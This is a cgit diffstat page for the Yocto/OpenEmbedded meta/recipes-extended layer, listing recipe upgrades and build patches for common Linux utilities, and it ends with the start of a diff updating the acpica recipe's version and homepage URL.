summaryrefslogtreecommitdiffstats
path: root/meta/recipes-extended
diff options
context:
space:
mode:
Diffstat (limited to 'meta/recipes-extended')
-rw-r--r--meta/recipes-extended/acpica/acpica_20240322.bb (renamed from meta/recipes-extended/acpica/acpica_20210105.bb)26
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch53
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb (renamed from meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb)19
-rw-r--r--meta/recipes-extended/at/at/fix_parallel_build_error.patch37
-rw-r--r--meta/recipes-extended/at/at_3.2.5.bb (renamed from meta/recipes-extended/at/at_3.2.1.bb)49
-rw-r--r--meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb72
-rw-r--r--meta/recipes-extended/bash/bash.inc53
-rw-r--r--meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch226
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch2
-rw-r--r--meta/recipes-extended/bash/bash/execute_cmd.patch28
-rw-r--r--meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch34
-rw-r--r--meta/recipes-extended/bash/bash/makerace.patch52
-rw-r--r--meta/recipes-extended/bash/bash/use_aclocal.patch27
-rw-r--r--meta/recipes-extended/bash/bash_5.1.bb32
-rw-r--r--meta/recipes-extended/bash/bash_5.2.21.bb24
-rw-r--r--meta/recipes-extended/bc/bc/run-ptest9
-rw-r--r--meta/recipes-extended/bc/bc_1.07.1.bb18
-rw-r--r--meta/recipes-extended/blktool/blktool_4-7.1.bb2
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am2
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb32
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch28
-rw-r--r--meta/recipes-extended/cpio/cpio_2.13.bb51
-rw-r--r--meta/recipes-extended/cpio/cpio_2.15.bb87
-rwxr-xr-xmeta/recipes-extended/cpio/files/run-ptest3
-rw-r--r--meta/recipes-extended/cpio/files/test.sh10
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch105
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch40
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch53
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.11.bb33
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.5.bb29
-rw-r--r--meta/recipes-extended/cronie/cronie/crond_pam_config.patch10
-rw-r--r--meta/recipes-extended/cronie/cronie_1.7.2.bb (renamed from meta/recipes-extended/cronie/cronie_1.5.5.bb)29
-rw-r--r--meta/recipes-extended/cups/cups.inc81
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch42
-rw-r--r--meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch51
-rw-r--r--meta/recipes-extended/cups/cups/CVE-2020-10001.patch74
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch35
-rw-r--r--meta/recipes-extended/cups/cups_2.3.3.bb6
-rw-r--r--meta/recipes-extended/cups/cups_2.4.7.bb5
-rw-r--r--meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb3
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc2
-rw-r--r--meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch24
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.10.bb (renamed from meta/recipes-extended/diffutils/diffutils_3.7.bb)13
-rw-r--r--meta/recipes-extended/ed/ed_1.20.1.bb (renamed from meta/recipes-extended/ed/ed_1.17.bb)11
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch8
-rw-r--r--meta/recipes-extended/ethtool/ethtool_6.7.bb (renamed from meta/recipes-extended/ethtool/ethtool_5.10.bb)6
-rw-r--r--meta/recipes-extended/findutils/findutils.inc9
-rw-r--r--meta/recipes-extended/findutils/findutils/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest57
-rw-r--r--meta/recipes-extended/findutils/findutils_4.8.0.bb14
-rw-r--r--meta/recipes-extended/findutils/findutils_4.9.0.bb27
-rw-r--r--meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch35
-rw-r--r--meta/recipes-extended/gawk/gawk/run-ptest7
-rw-r--r--meta/recipes-extended/gawk/gawk_5.1.0.bb60
-rw-r--r--meta/recipes-extended/gawk/gawk_5.3.0.bb87
-rw-r--r--meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch31
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch14
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch42
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch28
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch47
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch78
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch50
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb75
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb125
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb15
-rw-r--r--meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch29
-rw-r--r--meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch181
-rw-r--r--meta/recipes-extended/gperf/gperf_3.1.bb9
-rw-r--r--meta/recipes-extended/grep/grep_3.11.bb (renamed from meta/recipes-extended/grep/grep_3.6.bb)11
-rw-r--r--meta/recipes-extended/groff/files/0001-Include-config.h.patch208
-rw-r--r--meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch22
-rw-r--r--meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch51
-rw-r--r--meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch31
-rw-r--r--meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch106
-rw-r--r--meta/recipes-extended/groff/files/0001-support-musl.patch41
-rw-r--r--meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch37
-rw-r--r--meta/recipes-extended/groff/groff_1.23.0.bb (renamed from meta/recipes-extended/groff/groff_1.22.4.bb)44
-rw-r--r--meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch (renamed from meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch)14
-rw-r--r--meta/recipes-extended/gzip/gzip.inc10
-rw-r--r--meta/recipes-extended/gzip/gzip_1.13.bb (renamed from meta/recipes-extended/gzip/gzip_1.10.bb)17
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.65.bb (renamed from meta/recipes-extended/hdparm/hdparm_9.60.bb)20
-rw-r--r--meta/recipes-extended/images/core-image-full-cmdline.bb4
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb2
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller-initramfs.bb (renamed from meta/recipes-extended/images/core-image-testmaster-initramfs.bb)3
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller.bb (renamed from meta/recipes-extended/images/core-image-testmaster.bb)4
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch18
-rw-r--r--meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch31
-rw-r--r--meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch (renamed from meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch)10
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.10.bb (renamed from meta/recipes-extended/iptables/iptables_1.8.7.bb)53
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch46
-rw-r--r--meta/recipes-extended/iputils/iputils_20240117.bb59
-rw-r--r--meta/recipes-extended/iputils/iputils_s20200821.bb71
-rw-r--r--meta/recipes-extended/less/files/run-ptest3
-rw-r--r--meta/recipes-extended/less/less_643.bb (renamed from meta/recipes-extended/less/less_563.bb)33
-rw-r--r--meta/recipes-extended/libaio/libaio/00_arches.patch12
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.113.bb (renamed from meta/recipes-extended/libaio/libaio_0.3.112.bb)6
-rw-r--r--meta/recipes-extended/libarchive/libarchive/configurehack.patch55
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.7.3.bb (renamed from meta/recipes-extended/libarchive/libarchive_3.5.1.bb)29
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.7.bb (renamed from meta/recipes-extended/libidn/libidn2_2.3.0.bb)17
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.5.bb (renamed from meta/recipes-extended/libmnl/libmnl_1.0.4.bb)7
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_git.bb8
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis.bb10
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb (renamed from meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb)7
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch34
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.17.bb31
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.28.bb33
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/ipv6.patch52
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb (renamed from meta/recipes-extended/libtirpc/libtirpc_1.3.1.bb)18
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch42
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd19
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf38
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.59.bb82
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb76
-rw-r--r--meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch39
-rw-r--r--meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch149
-rw-r--r--meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch36
-rwxr-xr-xmeta/recipes-extended/logrotate/logrotate/run-ptest5
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.21.0.bb (renamed from meta/recipes-extended/logrotate/logrotate_3.18.0.bb)51
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb10
-rw-r--r--meta/recipes-extended/lsof/files/lsof-remove-host-information.patch76
-rw-r--r--meta/recipes-extended/lsof/files/remove-host-information.patch123
-rw-r--r--meta/recipes-extended/lsof/lsof_4.91.bb63
-rw-r--r--meta/recipes-extended/lsof/lsof_4.99.3.bb23
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch12
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch81
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/determinism.patch43
-rw-r--r--meta/recipes-extended/ltp/ltp_20240129.bb (renamed from meta/recipes-extended/ltp/ltp_20210121.bb)97
-rw-r--r--meta/recipes-extended/lzip/lzip_1.24.1.bb (renamed from meta/recipes-extended/lzip/lzip_1.22.bb)5
-rw-r--r--meta/recipes-extended/lzip/lzlib_1.14.bb39
-rw-r--r--meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch38
-rw-r--r--meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch16
-rw-r--r--meta/recipes-extended/man-db/man-db_2.12.1.bb72
-rw-r--r--meta/recipes-extended/man-db/man-db_2.9.4.bb59
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch31
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch33
-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.10.bb36
-rw-r--r--meta/recipes-extended/man-pages/man-pages_6.06.bb50
-rw-r--r--meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch129
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch25
-rw-r--r--meta/recipes-extended/mc/mc_4.8.26.bb54
-rw-r--r--meta/recipes-extended/mc/mc_4.8.31.bb57
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch31
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch53
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch36
-rw-r--r--meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch56
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch9
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch6
-rw-r--r--meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch155
-rw-r--r--meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/debian-no-Werror.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/include_sysmacros.patch14
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/run-ptest11
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.3.bb (renamed from meta/recipes-extended/mdadm/mdadm_4.1.bb)70
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb6
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch47
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch37
-rw-r--r--meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch42
-rw-r--r--meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch21
-rw-r--r--meta/recipes-extended/minicom/minicom_2.9.bb (renamed from meta/recipes-extended/minicom/minicom_2.7.1.bb)18
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.25.bb (renamed from meta/recipes-extended/msmtp/msmtp_1.8.14.bb)8
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb18
-rw-r--r--meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch14
-rw-r--r--meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch29
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.24.bb (renamed from meta/recipes-extended/newt/libnewt_0.52.21.bb)20
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb2
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb60
-rw-r--r--meta/recipes-extended/pam/libpam/0001-Makefile.am-support-usrmage.patch28
-rw-r--r--meta/recipes-extended/pam/libpam/0001-modules-pam_namespace-Makefile.am-correctly-install-.patch28
-rw-r--r--meta/recipes-extended/pam/libpam/99_pam2
-rw-r--r--meta/recipes-extended/pam/libpam/libpam-xtests.patch22
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest5
-rw-r--r--meta/recipes-extended/pam/libpam_1.6.1.bb (renamed from meta/recipes-extended/pam/libpam_1.5.1.bb)105
-rw-r--r--meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch34
-rw-r--r--meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch34
-rw-r--r--meta/recipes-extended/parted/files/autoconf-2.73.patch22
-rw-r--r--meta/recipes-extended/parted/files/no_check.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest8
-rw-r--r--meta/recipes-extended/parted/parted_3.6.bb (renamed from meta/recipes-extended/parted/parted_3.4.bb)26
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb2
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb20
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb22
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb7
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb4
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb6
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb8
-rw-r--r--meta/recipes-extended/pigz/pigz_2.8.bb (renamed from meta/recipes-extended/pigz/pigz_2.6.bb)10
-rw-r--r--meta/recipes-extended/procps/procps_4.0.4.bb (renamed from meta/recipes-extended/procps/procps_3.3.16.bb)42
-rw-r--r--meta/recipes-extended/psmisc/psmisc.inc33
-rw-r--r--meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch6
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.7.bb (renamed from meta/recipes-extended/psmisc/psmisc_23.4.bb)6
-rw-r--r--meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch34
-rw-r--r--meta/recipes-extended/quota/quota/fcntl.patch27
-rw-r--r--meta/recipes-extended/quota/quota_4.09.bb (renamed from meta/recipes-extended/quota/quota_4.06.bb)10
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch2
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch58
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb (renamed from meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb)16
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb14
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch11
-rw-r--r--meta/recipes-extended/screen/screen/CVE-2021-26937.patch68
-rw-r--r--meta/recipes-extended/screen/screen_4.9.1.bb (renamed from meta/recipes-extended/screen/screen_4.8.0.bb)16
-rw-r--r--meta/recipes-extended/sed/sed/run-ptest2
-rw-r--r--meta/recipes-extended/sed/sed_4.9.bb (renamed from meta/recipes-extended/sed/sed_4.8.bb)18
-rw-r--r--meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch123
-rw-r--r--meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch37
-rw-r--r--meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch301
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch13
-rw-r--r--meta/recipes-extended/shadow/files/login.defs_shadow-sysroot1
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/login4
-rw-r--r--meta/recipes-extended/shadow/files/securetty1
-rw-r--r--meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch27
-rw-r--r--meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch111
-rw-r--r--meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch83
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/shadow-securetty_4.6.bb1
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb5
-rw-r--r--meta/recipes-extended/shadow/shadow.inc123
-rw-r--r--meta/recipes-extended/shadow/shadow_4.15.0.bb10
-rw-r--r--meta/recipes-extended/shadow/shadow_4.8.1.bb10
-rw-r--r--meta/recipes-extended/slang/slang/dont-link-to-host.patch23
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch32
-rw-r--r--meta/recipes-extended/slang/slang_2.3.3.bb (renamed from meta/recipes-extended/slang/slang_2.3.2.bb)13
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch23
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch32
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.12.03.bb27
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb36
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch34
-rw-r--r--meta/recipes-extended/sudo/sudo.inc31
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.15p5.bb (renamed from meta/recipes-extended/sudo/sudo_1.9.5p2.bb)18
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb (renamed from meta/recipes-extended/sysklogd/sysklogd_2.2.1.bb)18
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch10
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.4.3.bb7
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.7.5.bb (renamed from meta/recipes-extended/sysstat/sysstat.inc)39
-rw-r--r--meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch228
-rw-r--r--meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch60
-rw-r--r--meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch112
-rw-r--r--meta/recipes-extended/tar/tar/run-ptest14
-rw-r--r--meta/recipes-extended/tar/tar_1.34.bb63
-rw-r--r--meta/recipes-extended/tar/tar_1.35.bb102
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch114
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch5
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb22
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb1
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch (renamed from meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch)22
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch (renamed from meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch)16
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch28
-rw-r--r--meta/recipes-extended/texinfo/texinfo/link-zip.patch23
-rw-r--r--meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch254
-rw-r--r--meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch17
-rw-r--r--meta/recipes-extended/texinfo/texinfo_7.1.bb (renamed from meta/recipes-extended/texinfo/texinfo_6.7.bb)43
-rw-r--r--meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch27
-rw-r--r--meta/recipes-extended/time/time_1.9.bb8
-rw-r--r--meta/recipes-extended/timezone/timezone.inc14
-rw-r--r--meta/recipes-extended/timezone/tzcode-native.bb3
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb358
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch112
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch137
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch103
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch67
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb15
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config.bb9
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch37
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb34
-rw-r--r--meta/recipes-extended/wget/wget.inc12
-rw-r--r--meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch9
-rw-r--r--meta/recipes-extended/wget/wget_1.24.5.bb (renamed from meta/recipes-extended/wget/wget_1.21.1.bb)2
-rw-r--r--meta/recipes-extended/which/which_2.21.bb9
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch145
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb4
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb29
-rw-r--r--meta/recipes-extended/xz/xz/run-ptest26
-rw-r--r--meta/recipes-extended/xz/xz_5.2.5.bb43
-rw-r--r--meta/recipes-extended/xz/xz_5.4.6.bb69
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch134
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch88
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch47
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch96
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch34
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch35
-rw-r--r--meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch2
-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb15
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch80
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch39
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.5.bb (renamed from meta/recipes-extended/zstd/zstd_1.4.8.bb)24
310 files changed, 6253 insertions, 5899 deletions
diff --git a/meta/recipes-extended/acpica/acpica_20210105.bb b/meta/recipes-extended/acpica/acpica_20240322.bb
index 0188dc8a1b..90e3599d32 100644
--- a/meta/recipes-extended/acpica/acpica_20210105.bb
+++ b/meta/recipes-extended/acpica/acpica_20240322.bb
@@ -6,27 +6,25 @@ ACPI meant to be directly integrated into the host OS as a kernel-resident \
6subsystem, and a small set of tools to assist in developing and debugging \ 6subsystem, and a small set of tools to assist in developing and debugging \
7ACPI tables." 7ACPI tables."
8 8
9HOMEPAGE = "http://www.acpica.org/" 9HOMEPAGE = "https://www.intel.com/content/www/us/en/developer/topic-technology/open/acpica/overview.html"
